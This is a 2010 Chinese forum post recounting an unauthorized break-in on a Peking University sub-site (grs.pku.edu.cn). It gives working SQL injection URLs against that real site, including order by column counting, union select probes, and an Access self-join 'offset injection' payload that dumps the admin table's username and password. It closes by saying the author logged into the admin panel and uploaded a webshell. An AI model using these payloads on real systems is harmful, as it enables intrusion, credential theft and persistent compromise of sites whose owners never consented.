服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2010-9-16 10:51:22

入侵北大分站

<P>Access偏移注入检测北大分站 </P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>简单在首页试了几个可能存在注入的链接都失败了,扫扫目录也扫不出个什么东西。</P>
<P>就随便进去看看呗,进了一个什么莫斯科大学和北大的联合分院,莫名其妙的来一了一股意念,</P>
<P>我觉得这里有搞头,点了一个链接and 1=1;and 1=2,鉴定完毕,存在注入。丢进明小子里看看,</P>
<P>发现了通常都会遇见的问题,他字段有点个性,我猜不出来</P>
<P><IMG onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120230792.jpg" width=438 onload=resizepic(this) height=495>&nbsp;</P>
<P>猜不出来怎么办呢,那我就手注吧。先用order by来检测字段数。当order by 10的时候返回错误</P>
<P><IMG style="ZOOM: 90%" onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120235449.jpg" width=579 onload=resizepic(this) height=467></P>
<P>order by 9返回正常,说明有9个字段。如下图<BR><IMG style="ZOOM: 90%" onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120243811.jpg" width=600 onload=resizepic(this) height=455></P>
<P>测试一下union可以不可以使用,我们提交如下语句来测试一下。</P>
<DIV id=code0 class=blockcode>
<OL>
<LI>http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,3,4,5,6,7,8,9 from admin</LI></OL></DIV>
<DIV class=blockcode>&nbsp;&nbsp;返回如下<BR><IMG onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120252973.jpg" width=600 onload=resizepic(this) height=326></DIV>
<DIV class=blockcode>看来可以用union联合查询了。我们接下来看看admin有几个字段。提交如下语句<BR>http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,* from admin</DIV>
<DIV class=blockcode>http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,* from admin</DIV>
<DIV class=blockcode>http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,2,3,* from admin</DIV>
<DIV class=blockcode><IMG onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120264557.jpg" width=600 onload=resizepic(this) height=436></DIV>
<DIV class=blockcode>依次类推,当我提交到union select 1,2,3,4,5,6,* from admin返回正常,说明admin的字段为9-6=3,</DIV>
<DIV class=blockcode>有3个字段。<BR><BR>既然知道了admin表字段数,我们来考虑怎么来爆内容呢。这里就是重头戏,我们用偏移表自联来爆吧。<BR>比如有一个表A结构如下</DIV>
<DIV class=blockcode>id&nbsp;&nbsp; name&nbsp;&nbsp; pass&nbsp;&nbsp; 字段<BR>1 abc 123<BR>2 efg 456<BR>3&nbsp;&nbsp;&nbsp;&nbsp; hij 789</DIV>
<DIV class=blockcode>自联<BR>select * from (admin as a inner join admin as b on a.id=b.id) </DIV>
<DIV class=blockcode>(其中a.id=b.id就是自联条件),将返回以下结果<BR>a.id a.name a.pass b.id b.name b.pass<BR>1&nbsp;&nbsp;&nbsp;&nbsp; abc 123 1 abc 123<BR>2&nbsp;&nbsp;&nbsp;&nbsp; efg 456 2 efg 456<BR>3&nbsp;&nbsp;&nbsp;&nbsp; hij 789 3 hij 789</DIV>
<DIV class=blockcode>通过上面的分析,我们可以自联admin表,admin表是3个字段,自联后也就是2*3=6个字段,</DIV>
<DIV class=blockcode>然后我们在随便加3个字段凑数就变成了9个字段,打乱admin表中的字段的排列顺序,</DIV>
<DIV class=blockcode>然后再联合查询,这样就大大增加了被爆出用户跟密码的概率来。即使爆不出来,我们也可以用a.id,</DIV>
<DIV class=blockcode>跟b.id字段进行偏移,有了思路,下一不就是按着思路依葫芦画瓢。构造自联语句爆爆<BR>union select 1,2,3,* from (admin as a inner join admin as b on a.id=b.id)</DIV>
<DIV class=blockcode><IMG onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120281268.jpg" width=574 onload=resizepic(this) height=466></DIV>
<DIV class=blockcode>爆出了密码?呵呵,我们去挂wwwscan扫扫这个目录的后台,成功发现了后台。再提交<BR>http://grs.pku.edu.cn/xw_lhpy/newshow.asp?id=30 union select 1,username,3,4,5,6,7,8,9 from admin</DIV>
<DIV class=blockcode>爆出了管理员账号,如下图</DIV>
<DIV class=blockcode>&nbsp;<IMG onmousewheel="return bbimg(this)" border=0 src="http://www.176ku.com/anquan/UploadFiles_3093/201009/2010091120290725.jpg" width=567 onload=resizepic(this) height=429></DIV>
<DIV class=blockcode>到这里就差不多了,我登入后台上传了一个shell,具体就不多说了,这里主要讲了关于ACCESS偏移</DIV>
<DIV class=blockcode>注入的一点东西,其实ACCESS注入的利用空间也是很大的,当知道足够信息以后可以做很多事情。&nbsp;<BR></DIV>
页: [1]
查看完整版本: 入侵北大分站